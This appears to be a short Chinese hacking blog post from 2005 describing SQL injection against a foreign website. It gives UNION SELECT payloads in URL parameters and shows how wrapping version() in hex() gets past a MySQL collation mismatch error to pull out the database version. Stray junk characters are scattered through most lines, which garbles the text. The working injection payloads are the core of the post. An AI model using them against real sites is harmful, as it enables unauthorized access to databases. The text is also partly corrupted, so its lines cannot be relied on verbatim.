本文作者:SuperHei/ k# _3 W9 i Z( D. p& |; e
文章性质:原创% v6 h$ p+ G% \( k( R3 |2 m
发布日期:2005-10-18, k5 V- w# r! }8 J/ t0 l% f M
测试个国外的站时:
) R$ S* L* Q6 S2 f% y! q; \url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*5 d9 R9 q2 o, r z3 ]
返回错误:
6 _2 D6 @' \- f; A' J: D" Q$ p) j1 CIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
8 `# e) ^! W" c7 t4 B: PMySQL Error No. 1268 [2 L6 }8 k3 f6 R* x& e" ^' o& @9 ^
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
8 T9 K9 C* H( }解决办法:转为其他编码如hex。9 K8 j& p s" p7 C4 {$ a9 k0 D( \( k
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*& c- W3 T& O% W4 P; y$ K( A
成功得到hex(version())的值为:2 \. D4 d* y" Y) e; ~/ L
342E312E332D62657461
; c3 D+ _1 f. {% h/ o& y7 R0 ]: W回Mysql查询下得到:
1 t" N1 F3 I0 Y4 M0 n* V4 p6 Tmysql> select 0x342E312E332D62657461;. m$ \% k6 H- y. h* ^1 T# Q# f
+------------------------+
. \, ^9 e; S) v8 ?7 ]2 d| 0x342E312E332D62657461 |; q9 g2 b) s" a+ a
+------------------------+9 z5 R3 s x" s% ~) K
| 4.1.3-beta |- q( A: b7 O! }& t4 \
+------------------------+
& D$ v* ?- u2 E- U/ G% _/ ?1 row in set (0.00 sec)9 y4 y8 \ m( F: h" I }
1 _* a3 N" h+ b) S$ t: R |